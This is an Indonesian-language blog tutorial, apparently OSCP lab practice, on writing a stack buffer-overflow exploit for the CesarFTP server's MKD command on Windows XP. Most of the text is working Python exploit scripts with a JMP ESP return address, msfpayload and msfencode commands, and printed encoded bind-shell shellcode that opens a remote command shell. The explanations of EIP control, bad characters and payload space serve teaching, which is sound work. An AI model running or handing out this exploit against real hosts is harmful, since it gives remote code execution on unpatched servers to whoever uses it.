Simple Windows Buffer Overflow

Sekitar seminggu yang lalu seorang rekan mengajak diskusi mengenai challenge dari sertifikasi OSCP yang sedang dijalaninya. Salah satu challenge merupakan kasus buffer overflow dari aplikasi yang vulnerable sejak tahun 2006, yaitu Cesar FTP. Saya sendiri menemukan bahwa kasus Cesar FTP server ini cukup menarik karena proses eksploitasinya jika dijalankan dengan benar maka akan melatih seorang pendatang baru untuk dapat memiliki kemampuan dalam hal menulis eksploit yang reliable pada bug windows. Kasus ini memiliki cukup banyak poin penting yang sangat bermafaat bagi pemula, untuk itu akan saya bahas disini.

Inti dari challenge tersebut adalah,

1. Software yang akan di eksploitasi CesarFTP Server yang memiliki bug buffer overflow saat menghandle command MKD dari user. Contoh eksploit serta vuln application nya bisa di lihat dari http://www.exploit-db.com/exploits/1915/.
2. Dalam lab disedikan mesin windows english XP1 yang (seharusnya) sama persis dengan target.
3. Kita akan coba buat exploit untuk lab nya yang setelah berhasil akan digunakan untuk menyerang target. Asumsi saya, keberhasilan harus mutlak 100% karena jika salah sedikit bisa jadi CesarFTP nya akan hang dan harus di restart pada mesin target, dan bagaimana membuat exploit yang stable dan reliable bukan sesuatu yang mudah terutama untuk case direct buffer overflow murni.
4. No metasploit, tapi boleh nyontek dan pakai peralatan dari metasploit.
5. Debuging tools yang disediakan ollydbg.

Dari internet kita dapat contoh eksploit non-metasploit etc yang bisa kita modifikasi, http://www.securiteam.com/exploits/5ZP0C0AIUA.html.

Baik dari contoh metasploit ataupun yg securit team, bisa kita lihat bagaimana proses untuk mentrigger vulnerability nya,

buffer = “MKD ”
buffer += “\n” * 671
buffer += “A” * 3 + intel_order(EIP)
buffer += “\x90” * 40 + shellcode
buffer += “\r\n”

yang berarti kita akan dapat mentrigger vulnerability (buffer overflow) dan mengontrol EIP apabila mengirimkan command “MKD ” yang di ikuti dengan parameter berupa:

*) karakter ‘\n’ sebanyak 671
*) karakter alpha (A-Z,a-z) sebanyak 3
*) alamat_EIP  <<< bisa kita kontrol
*) junk

Untuk kasus buffer overflow ada beberapa aturan yang harus di ikuti dan ini berbeda-beda pada setiap software, untuk kasus CesarFTP kita tidak bisa memasukan total parameter MKD yang dikirimkan semaunya. Yang berarti jumlah byte untuk parameter diatas terbatas agar bisa men-trigger kasus buffer overflow (ok,  mungkin bisa juga dengan SEH exploitation, tapi itu diluar scope). Jumlah byte yang sudah pasti ketahuan adalah 671 + 3 + 4 (EIP) = 678 byte. Kita akan coba kirim karakter ini ke cesarftp dan lihat hasilnya di ollydbg, untuk awal-awal kita akan coba kirimkan junk sebanyak 100 bytes (karakter ‘B’).


from socket import *
import struct

eip = struct.pack('<i', 0x41414141)
host = "172.16.30.128"
port = 21
user = "ftp"
password = "ftp"

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)
s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "MKD " # Command
buffer += "\n" * 671 # Required parameter
buffer += "OMG" # 3 bytes alpha char, also required
buffer += eip # Control EIP
buffer += "B" * 100
buffer += "\r\n" # Another required parameter

print "Lenght of buffer: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)
s.close()

Berikut ini adalah hasilnya ketika dilihat pada debugger,

FYI, untuk attach tinggal pilih ollydbg trus File->attach, yang dipilih adalah process server.exe dengan path ke cesarftp. Yang di debug adalah server.exe nya, bukan CesarFTP.exe karena CesarFTP adalah aplikasi yang mengontrol server.exe. Bisa kita lihat begitu script cesar_dbg.py dijalankan, maka server.exe akan mengalami access violation. Lihat dibagian Register (kanan atas), EIP sudah berhasil di overwrite dengan byte “41414141” yang berarti “AAAA”. register ESP menunjuk pada isi junk yang didefinisikan sebelumnya (karakter B atau ‘42424242’). Pada posisi ini berarti kita sudah berhasil mengontrol nilai EIP dan ESP.

Vulnerability buffer overflow bisa di eksploitasi dengan beragam cara, dan yang akan kita analisis sekarang adalah cara yang paling sederhana, yaitu meng-overwrite nilai EIP yang bisa kita kontrol untuk menunjuk pada lokasi dimana shellcode kita berada.

Dalam dunia windows beda dengan linux, kita tidak bisa masukin EIP dengan lokasi memory yang hendak dituju. Misal untuk kondisi diatas, kita bisa lihat bahwa lokasi memory 00B3EE54 (stack, pojok kanan bawah) berisi karakter yang bisa kita kontrol, yang berarti bisa kita masukan shellcode. Dalam windows, EIP harus di overwrite dengan suatu lokasi memory yang membuat arah eksekusi sistem menuju lokasi yang kita inginkan. Contoh diatas, kita bisa lihat bahwa nilai ESP adalah 00B3EE54, maka untuk membuat eksekusi processor ke lokasi memory 00B3EE54 kita harus mencari lokasi memory yang berisi perintah seperti “JMP ESP”, atau “CALL ESP”.

Hal lain yang perlu diperhatikan adalah aturan untuk trigger buffer overflow diatas sifat nya restricted, jika kita kasih jumlah junk yang berlebihan maka kondisi buffer overflow tidak akan di trigger, bisa jadi yang di trigger adalah SEH (Structure Exception Handler) yang akan dihandle oleh aplikasi itu sendiri atau sistem operasi. Misal kita akan ganti jumlah junk dari code cesar_dbg.py menjadi 500 bytes, maka yang akan terjadi adalah,


from socket import *
import struct

eip = struct.pack('<i', 0x41414141)
host = "172.16.30.128"
port = 21
user = "ftp"
password = "ftp"

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)
s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "MKD " # Command
buffer += "\n" * 671 # Required parameter
buffer += "OMG" # 3 bytes alpha char, also required
buffer += eip # Control EIP
buffer += "B" * 500
buffer += "\r\n" # Another required parameter

print "Lenght of buffer: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)
s.close()

eksekusi akan berakhir di SEH.

Kembali ke masalah buffer overflow, skenario untuk menulis eksploit nya bisa di urutkan seperti ini,

1. menemukan lokasi memory yang dapat membawa eksekusi ke ESP, untuk ini kita bisa melakukan beberapa cara di antaranya menganalisis module-module yang di load oleh aplikasi cesarftp dan memanfaatkan tools seperti findjmp.

proses ini sangat penting dan berbeda-beda untuk setiap target, setiap versi windows akan berbeda-beda hasilnya (mis: Windows XP SP0/SP1/SP2/SP3). Biasanya untuk mendapatkan hasil yang portable, kita bisa menggunakan module yang di load (library) oleh aplikasi itu sendiri, namun sayang nya untuk cesarftp server tidak memiliki module dll sendiri. cesarftp memanfaatkan shared library bawaan windows (kernel32.dll, user32.dll) sehingga untuk setiap target kita harus mencari lokasi yang tepat. Untuk offsec challenge ini, kita bisa kopi file USER32.dll dari komputer lab dan analsis menggunakan tools findjmp.exe. Tools findjmp.exe dapat di download dari http://godr.altervista.org/print.php?mod=Download/useful_tools, sebetulnya metasploit punya tools yang disebut msfopcode namun sayang nya versi metasploit saat ini mendisable fungsi tersebut krn lg di perbaiki database opcode nya, saya coba juga untuk menggunakan bt4 dari pwb nya rekan tersebut ternyata sama-sama di disable. Jadi mau tidak mau untuk membuat exploit nya betul-betul bisa dieksekusi pada target, harus mengkopi module2 diatas dan analisis via findjmp.

Berikut ini untuk vmware saya, menggunakan Windows XP SP3 dengan locale English.

kita akan ambil satu, yaitu 0x7E429353. Opcode pada lokasi memory ini akan mengarahkan eksekusi processor ke “JMP ESP”. Untuk membuktikan nya kita akan modifikasi lagi cesarftp_dbg.py pada bagian berikut ini,


from socket import *
import struct

eip = struct.pack('<i', 0x7E429353)
host = "172.16.30.128"
port = 21
user = "ftp"
password = "ftp"

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)
s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "MKD " # Command
buffer += "\n" * 671 # Required parameter
buffer += "OMG" # 3 bytes alpha char, also required
buffer += eip # Control EIP
buffer += "\xcc\xcc\xcc\xcc"
buffer += "ABCD"
buffer += "B" * 100
buffer += "\r\n" # Another required parameter

print "Lenght of buffer: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)
s.close()

EIP akan menunjuk lokasi memory dimana terdapat opcode “JMP ESP”.
ESP akan menunjuk lokasi memory yang berisi opcode “\xcc\xcc\xcc\xcc”, 0xCCCCCCCC biasa disebut INT3, apabila processor menemukan opcode ini maka eksekusi akan diberikan kepada debugger (pause sesaat). Jadi kita bisa lihat apa yang terjadi sesaat setelah processor mengeksekusi EIP yang telah kita ganti nilai nya.

Kita bisa lihat setelah buffer overflow, EIP yang di kontrol menunjuk pada lokasi memory 0x7E429353 yang berisi opcode “JMP ESP”, ESP pada saat itu berisi 00B3EE54. Eksekusi akan dibawa kesana dimana pada code telah kita siapkan “0xCCCCCCCC”, eksekusi akan di pause dan diberikan pada debugger. Jika kita lihat pada stack memory (pojok kanan bawah), disitulah kita akan meletakan shellcode. Karena seperti yang telah kita lihat, eksekusi prosesor akan dibawa mengeksekusi apapun yang terdapat dalam stack tersebut. Pada stack inilah kita akan meletakan payload/shellcode yang di inginkan seperti run calc.exe, atau bind_tcp, atau reverse_tcp, dsb. Kita bisa melihat jalannya eksekusi satu persatu dengan feature Step into atau Trace into (Ctrl+F11).

Sebelumnya telah kita lihat bahwa jumlah junk terbatas agar buffer overflow dapat di eksploitasi, maka itu berarti kita memiliki space yang terbatas untuk size payload. Kita bisa melakukan analisis manual (coba satu persatu) atau bisa contek dari metasploit ;). Dalam metasploit pada cesarftp ada bagian,


'Payload' =>
{
'Space' => 250,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},

paling tidak telah dianalisis bahwa besar nya payload dibatasi sebanyak 250 (tidak termasuk NOPS). Jika kita lihat coding msf yang memasukan sebanyak 40 NOPS maka paling tidak jumlah payload yang bisa dimasukan sebanyak 290 bytes. Kita juga bisa lihat pada gambar diatas, setelah INT3 muncul byte “0x41424344” atau “ABCD”, namun pada debugger tertulis 44434241, ini karena arsitektur intel menggunakan Least Significant Byte (LSB) untuk memasukan suatu nilai pada memory. Untuk membuat exploit biasanya kita menambahkan NOPS sled (0x90) yang berarti “do nothing”. Bisa dibayangkan jika eksekusi stl EIP kita kontrol (JMP ESP) maka eksekusi akan dibawa ke lokasi “0xCCCCCCCC” yang bisa kita ganti dengan “0x90909090”. 0x90 akan dieksekusi oleh processor tp tidak menghasilkan apapun, hingga akhirnya menuju ke lokasi stack 00B3EE58 (lihat gambar diatas) dimana pada code sebelumnya adalah “ABCD”.

That’s it, begitulah kita menemukan dimana lokasi untuk meletakan payload.

2. Langkah berikut nya adalah membuat payload. Metasploit memiliki fitur otomatis dimana kita cukup mendefinisikan berapa jumlah payload space yang diperlukan (gambar sebelumnya), dan pada saat akan eksekusi kita hanya disediakan payload-payload yang bisa digunakan dan mencukupi ruang terbatas tersebut, itu sebabnya untuk cesarftp kita tidak akan menemukan payload windows/shell/bind_tcp karena hasil generate payload ini oleh metasploit melebihi space yang ditentukan.

Untuk membuat payload, kita bisa gunakan bantuan msfpayload.


$ ./msfpayload windows/shell_bind_tcp LPORT=31337 C
/*
* windows/shell_bind_tcp - 341 bytes
* http://www.metasploit.com
* AutoRunScript=, EXITFUNC=process, InitialAutoRunScript=,
* LPORT=31337, RHOST=
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x7a\x69\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

ada aturan laen dalam payload, yaitu tidak boleh ada karakter-karakter khusus, yang paling utama adalah tidak boleh ada NULL chars (\x00). Pada hasil generate diatas kita bisa lihat masih terdapat NULL chars. Selain NULL chars, untuk beberapa aplikasi juga ada aturan tertentu dimana karakter tertentu dilarang, karena software biasanya sudah di program untuk mengecek karakter-karakter tersebut mis: dalam alamat URL browser tidak boleh ada karakter ‘!’, jika ditemukan maka aplikasi akan menyatakan error. Dan kemungkinan besar payload kita akan gagal.

Disinilah letak fungsi dari encoding suatu payload, yang dipermudah oleh metasploit dengan tools msfencode. Untuk mengencode payload diatas kita bisa gunakan,


$ ./msfpayload windows/shell_bind_tcp LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -b "\x00\x20\x0a\x0d" -t c
[*] x86/shikata_ga_nai succeeded with size 369 (iteration=1)

unsigned char buf[] =
"\x33\xc9\xd9\xeb\xba\x94\x2b\x50\x9d\xb1\x56\xd9\x74\x24\xf4"
"\x5e\x31\x56\x17\x83\xc6\x04\x03\x56\x13\x76\xde\xac\x75\xff"
"\x21\x4d\x86\x9f\xa8\xa8\xb7\x8d\xcf\xb9\xea\x01\x9b\xec\x06"
"\xea\xc9\x04\x9c\x9e\xc5\x2b\x15\x14\x30\x05\xa6\x99\xfc\xc9"
"\x64\xb8\x80\x13\xb9\x1a\xb8\xdb\xcc\x5b\xfd\x06\x3e\x09\x56"
"\x4c\xed\xbd\xd3\x10\x2e\xbc\x33\x1f\x0e\xc6\x36\xe0\xfb\x7c"
"\x38\x31\x53\x0b\x72\xa9\xdf\x53\xa3\xc8\x0c\x80\x9f\x83\x39"
"\x72\x6b\x12\xe8\x4b\x94\x24\xd4\x07\xab\x88\xd9\x56\xeb\x2f"
"\x02\x2d\x07\x4c\xbf\x35\xdc\x2e\x1b\xb0\xc1\x89\xe8\x62\x22"
"\x2b\x3c\xf4\xa1\x27\x89\x73\xed\x2b\x0c\x50\x85\x50\x85\x57"
"\x4a\xd1\xdd\x73\x4e\xb9\x86\x1a\xd7\x67\x68\x23\x07\xcf\xd5"
"\x81\x43\xe2\x02\xb3\x09\x6b\xe6\x89\xb1\x6b\x60\x9a\xc2\x59"
"\x2f\x30\x4d\xd2\xb8\x9e\x8a\x15\x93\x66\x04\xe8\x1c\x96\x0c"
"\x2f\x48\xc6\x26\x86\xf1\x8d\xb6\x27\x24\x01\xe7\x87\x97\xe1"
"\x57\x68\x48\x89\xbd\x67\xb7\xa9\xbd\xad\xce\xee\x73\x95\x82"
"\x98\x71\x29\x5f\x31\xff\xcf\xf5\xd1\xa9\x58\x62\x13\x8e\x50"
"\x15\x6c\xe4\xcc\x8e\xfa\xb0\x1a\x08\x05\x41\x09\x3a\xaa\xe9"
"\xda\xc9\xa0\x2d\xfa\xcd\xed\x05\x75\xf6\x65\xdf\xeb\xb4\x14"
"\xe0\x21\x2e\xb5\x73\xae\xaf\xb0\x6f\x79\xe7\x95\x5e\x70\x6d"
"\x0b\xf8\x2a\x90\xd6\x9c\x15\x10\x0c\x5d\x9b\x98\xc1\xd9\xbf"
"\x8a\x1f\xe1\xfb\xfe\xcf\xb4\x55\xa9\xa9\x6e\x14\x03\x63\xdc"
"\xfe\xc3\xf2\x2e\xc1\x95\xfb\x7a\xb7\x7a\x4d\xd3\x8e\x85\x61"
"\xb3\x06\xfd\x9c\x23\xe8\xd4\x25\x53\xa3\x75\x0f\xfc\x6a\xec"
"\x12\x61\x8d\xda\x50\x9c\x0e\xef\x28\x5b\x0e\x9a\x2d\x27\x88"
"\x76\x5f\x38\x7d\x79\xcc\x39\x54\x73";

opsi -b untuk menyatakan badchars (\x00, \x20, \x0a, \x0d) yang tidak boleh disertakan dalam payload. dan itu kita dapatkan lagi2 (harusnya analisis lbh dalam) dari exploit cesarftp nya metasploit,


'BadChars' => "\x00\x20\x0a\x0d",

Jika menggunakan aturan metasploit dimana ukuran payload tidak boleh lebih dari 250 bytes maka jelas payload hasil generate diatas tidak bisa dimasukan karena akan membuat proses eksploitasi gagal. Namun metasploit dibuat portable untuk beberapa platform (XP1, XP2, XP3, dll) sehingga ukuran itu tidak mutlak, kita bisa coba sesuaikan dengan target sistem operasi tertentu berapa batas atas ukuran payload.

Yang harus diperhatikan adalah saya tidak bisa menemukan payload yang portable untuk cesarftp jika menggunakan bantuan metasploit. Exploit metasploit sendiri jika digunakan hanya memberikan pilihan payload sbb,


msf exploit(cesarftp_mkd) > show payloads

Compatible Payloads
===================

Name Rank Description
---- ---- -----------
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
generic/tight_loop normal Generic x86 Tight Loop
windows/dllinject/bind_nonx_tcp normal Reflective Dll Injection, Bind TCP Stager (No NX or Win7)
windows/dllinject/reverse_nonx_tcp normal Reflective Dll Injection, Reverse TCP Stager (No NX or Win7)
windows/dllinject/reverse_ord_tcp normal Reflective Dll Injection, Reverse Ordinal TCP Stager (No NX or Win7)
windows/exec normal Windows Execute Command
windows/meterpreter/bind_nonx_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
windows/meterpreter/reverse_nonx_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
windows/meterpreter/reverse_ord_tcp normal Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
windows/metsvc_bind_tcp normal Windows Meterpreter Service, Bind TCP
windows/metsvc_reverse_tcp normal Windows Meterpreter Service, Reverse TCP Inline
windows/patchupdllinject/bind_nonx_tcp normal Windows Inject DLL, Bind TCP Stager (No NX or Win7)
windows/patchupdllinject/reverse_nonx_tcp normal Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
windows/patchupdllinject/reverse_ord_tcp normal Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
windows/patchupmeterpreter/bind_nonx_tcp normal Windows Meterpreter (skape/jt injection), Bind TCP Stager (No NX or Win7)
windows/patchupmeterpreter/reverse_nonx_tcp normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager (No NX or Win7)
windows/patchupmeterpreter/reverse_ord_tcp normal Windows Meterpreter (skape/jt injection), Reverse Ordinal TCP Stager (No NX or Win7)
windows/patchupvncinject/bind_nonx_tcp normal Windows VNC Inject (skape/jt injection), Bind TCP Stager (No NX or Win7)
windows/patchupvncinject/reverse_nonx_tcp normal Windows VNC Inject (skape/jt injection), Reverse TCP Stager (No NX or Win7)
windows/patchupvncinject/reverse_ord_tcp normal Windows VNC Inject (skape/jt injection), Reverse Ordinal TCP Stager (No NX or Win7)
windows/shell/bind_nonx_tcp normal Windows Command Shell, Bind TCP Stager (No NX or Win7)
windows/shell/reverse_nonx_tcp normal Windows Command Shell, Reverse TCP Stager (No NX or Win7)
windows/shell/reverse_ord_tcp normal Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
windows/upexec/bind_nonx_tcp normal Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
windows/upexec/reverse_nonx_tcp normal Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
windows/upexec/reverse_ord_tcp normal Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
windows/vncinject/bind_nonx_tcp normal VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
windows/vncinject/reverse_nonx_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
windows/vncinject/reverse_ord_tcp normal VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)

Metasploit yang telah dibuat otomatis tidak memberikan pilihan payload seperti windows/shell_bind_tcp karena memang akan gagal, semua payload diatas ini merupakan bagian dari metasploit dan akan berhasil jika dijalankan dari metasploit (terkecuali kita akan melakukan hard coding sendiri untuk bisa berhubungan dengan tipe payload stager nya metasploit misal nya). Dan payload2 diatas menggunakan tehnik multi-staged exploit, atau menggunakan dll injection seperti meterpreter. Bisa di bilang tehnik shellcode nya lebih advanced.

Tapi analisis menggunakan ollydbg diatas sudah dapat dijadikan basic untuk menulis exploit berdasarkan informasi public vuln. Untuk POC calc.exe / nampilin hal2 sederhana sepert MsgBox tentu akan sangat mudah. Misal nya kita ambil payload berikut ini http://www.exploit-db.com/exploits/14697/,


#!/usr/bin/env python

# cesar_dbg.py
from socket import *
import struct

eip = struct.pack('<i',0x7E429353)
host = "172.16.30.128"
port = 21
user = "ftp"
password = "ftp"

# Shellcode will open windows shell on port 28876
shellcode = (
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x51\x68\x6c\x6c\x20\x20\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72"
"\x89\xe1\xbb\x7b\x1d\x80\x7c\x51" # // 0x7c801d7b ; LoadLibraryA(user32.dll)
"\xff\xd3\xb9\x5e\x67\x30\xef\x81"
"\xc1\x11\x11\x11\x11\x51\x68\x61"
"\x67\x65\x42\x68\x4d\x65\x73\x73"
"\x89\xe1\x51\x50\xbb\x40\xae\x80" # // 0x7c80ae40 ; GetProcAddress(user32.dll, MessageBoxA)
"\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
"\x51\x51\x52\xff\xd0\x31\xc0\x50"
"\xb8\x12\xcb\x81\x7c\xff\xd0") # // 0x7c81cb12 ; ExitProcess(0)

print "Lenght of shellcode: %d" % (len(shellcode))

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)
s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "MKD " # Command
buffer += "\n" * 671 # Required parameter
buffer += "OMG" # 3 bytes alpha char, also required
buffer += eip # Control EIP
buffer += "\xcc\xcc\xcc\xcc" # INT 3, break / pause the execution
buffer += "\x90" * 4
buffer += shellcode # Payload
buffer += "\r\n" # Another required parameter

print "Lenght of buffer: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)
s.close()

eksekusi akan berhenti seperti biasa di bagian INT3 (0xCCCCCCCC), dan kita bisa menggunakan Trace Into atau Trace Over utility dari ollydbg untuk menganalisis jalannya eksekusi pada target.

Size payload sangat mencukupi, yaitu 87 bytes. Itu sebabnya proses eksploitasi kita dapat berjalan dengan baik.

Saya sempat maksain juga untuk pakai bindshell nya skypher http://code.google.com/p/w32-bind-ngs-shellcode/. Size nya masuk (sekitar 200 an something), cuma gagal menghasilkan remote shell. Begitu saya liat di ollydbg, ada beberapa byte yang berubah (mangled). Asumsi pertama dan paling besar adalah adanya badchars yang tidak di allowed oleh aplikasi cesarftp. kita bisa coba menggunakan msfencode untuk encode manual payload nya skypher,


$ file w32-bind-ngs-shellcode.bin
w32-bind-ngs-shellcode.bin: data

itu tadi binary dari w32-bind-ngs-shellcode.zip, binary tersebut merupakan hasil compile dari assembly .asm, jika mau rubah listen port bisa ubah dari .asm nya trus compile manual dengan nasm. Untuk contoh skrng saya menggunakan apa adanya aja dari si skypher. Untuk mendapatkan shellcode yang bersih dari badchars,


$ cat w32-bind-ngs-shellcode.bin | /Volumes/Myth/Exploit/msf/trunk/msfencode -e x86/shikata_ga_nai -b "\x00\x20\x0a\x0d" -t c
[*] x86/shikata_ga_nai succeeded with size 241 (iteration=1)

unsigned char buf[] =
"\xbe\x9b\xe9\x40\x82\x2b\xc9\xd9\xc4\xb1\x36\xd9\x74\x24\xf4"
"\x5f\x31\x77\x12\x03\x77\x12\x83\xef\xfc\x79\x1c\x71\x4b\x19"
"\x54\x03\x7b\x6a\x1c\xe8\xf0\x1a\xfd\x7b\x68\xea\x76\x05\x55"
"\x61\xbe\xc2\xda\x6d\xca\xc1\xb4\xe5\x06\x79\x04\xc7\x0e\xe3"
"\x3c\x50\xbc\x83\x77\x11\x4b\xcc\xf1\xcb\xf9\xef\x28\xdf\x2b"
"\x3c\xa3\x38\xfd\x4f\x1e\x87\x53\xf1\x0e\x50\x05\x72\x5f\x72"
"\x01\x3b\x2b\xd7\x75\x4f\x77\xfa\xfd\x4e\x63\x8f\xb5\x70\x72"
"\x66\x1f\x40\xa6\x3a\x2b\x96\xd7\xbb\xc5\x63\xe1\x17\x2d\xfd"
"\x26\xa3\x72\x8c\x43\xdc\xb1\x49\xd9\xc9\x98\x1e\x6a\x29\x24"
"\xc8\x62\x86\x32\x5b\xf6\xa3\x26\x5a\xe1\xba\xbf\x5f\xf5\x2d"
"\x94\xe0\xcb\x44\x9e\xe8\xbe\x08\x64\xba\x3f\x64\x33\xa9\x40"
"\xba\xcf\xa4\xf1\x9c\x82\xb8\x22\x8d\x22\x96\x56\x4c\xf3\xe9"
"\xa6\xc1\x3f\x7c\x49\x8a\x92\xd5\x96\xe4\x68\x15\x1c\xfc\x42"
"\x44\x8f\x94\xc7\x05\x54\x44\x85\xaa\xb0\xbc\x3e\xf9\x12\x7a"
"\x07\x17\x65\xd6\x0f\xdb\x42\x81\x5d\x76\xd9\xeb\x25\x99\xd5"
"\xa4\xfb\x37\xb1\x18\x03\xe1\xd9\x17\xbd\xf2\xcb\xed\xbd\xf4"
"\xf3";

tinggal masukin deh ke cesar_dbg.py,


#!/usr/bin/env python

# cesar_dbg.py
from socket import *
import struct

eip = struct.pack('<i',0x7E429353)
host = "172.16.30.128"
port = 21
user = "ftp"
password = "ftp"

# Shellcode will open windows shell on port 28876
shellcode = (
"\xbe\x9b\xe9\x40\x82\x2b\xc9\xd9\xc4\xb1\x36\xd9\x74\x24\xf4"
"\x5f\x31\x77\x12\x03\x77\x12\x83\xef\xfc\x79\x1c\x71\x4b\x19"
"\x54\x03\x7b\x6a\x1c\xe8\xf0\x1a\xfd\x7b\x68\xea\x76\x05\x55"
"\x61\xbe\xc2\xda\x6d\xca\xc1\xb4\xe5\x06\x79\x04\xc7\x0e\xe3"
"\x3c\x50\xbc\x83\x77\x11\x4b\xcc\xf1\xcb\xf9\xef\x28\xdf\x2b"
"\x3c\xa3\x38\xfd\x4f\x1e\x87\x53\xf1\x0e\x50\x05\x72\x5f\x72"
"\x01\x3b\x2b\xd7\x75\x4f\x77\xfa\xfd\x4e\x63\x8f\xb5\x70\x72"
"\x66\x1f\x40\xa6\x3a\x2b\x96\xd7\xbb\xc5\x63\xe1\x17\x2d\xfd"
"\x26\xa3\x72\x8c\x43\xdc\xb1\x49\xd9\xc9\x98\x1e\x6a\x29\x24"
"\xc8\x62\x86\x32\x5b\xf6\xa3\x26\x5a\xe1\xba\xbf\x5f\xf5\x2d"
"\x94\xe0\xcb\x44\x9e\xe8\xbe\x08\x64\xba\x3f\x64\x33\xa9\x40"
"\xba\xcf\xa4\xf1\x9c\x82\xb8\x22\x8d\x22\x96\x56\x4c\xf3\xe9"
"\xa6\xc1\x3f\x7c\x49\x8a\x92\xd5\x96\xe4\x68\x15\x1c\xfc\x42"
"\x44\x8f\x94\xc7\x05\x54\x44\x85\xaa\xb0\xbc\x3e\xf9\x12\x7a"
"\x07\x17\x65\xd6\x0f\xdb\x42\x81\x5d\x76\xd9\xeb\x25\x99\xd5"
"\xa4\xfb\x37\xb1\x18\x03\xe1\xd9\x17\xbd\xf2\xcb\xed\xbd\xf4"
"\xf3")

print "Lenght of shellcode: %d" % (len(shellcode))

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)
s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "MKD " # Command
buffer += "\n" * 671 # Required parameter
buffer += "OMG" # 3 bytes alpha char, also required
buffer += eip # Control EIP
buffer += "\x90" * 10
buffer += "\xcc\xcc\xcc\xcc" # INT 3, break / pause the execution
buffer += shellcode # Payload
buffer += "\r\n" # Another required parameter

print "Lenght of buffer: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)
s.close()

untuk membuktikan bahwa tidak ada satu byte pun yang dimangled ketika sampai pada target kita bisa pakai trik memasukan INT3 sebelum shellcode dieksekusi spt diatas, jadi nanti sesaat sebelum shellcode di execute CPU akan memberikan control ke ollydbg. kita bisa cek manual dari byte-byte yang akan dieksekusi oleh ollydbg dibandingkan dengan shellcode yang kita kirim,


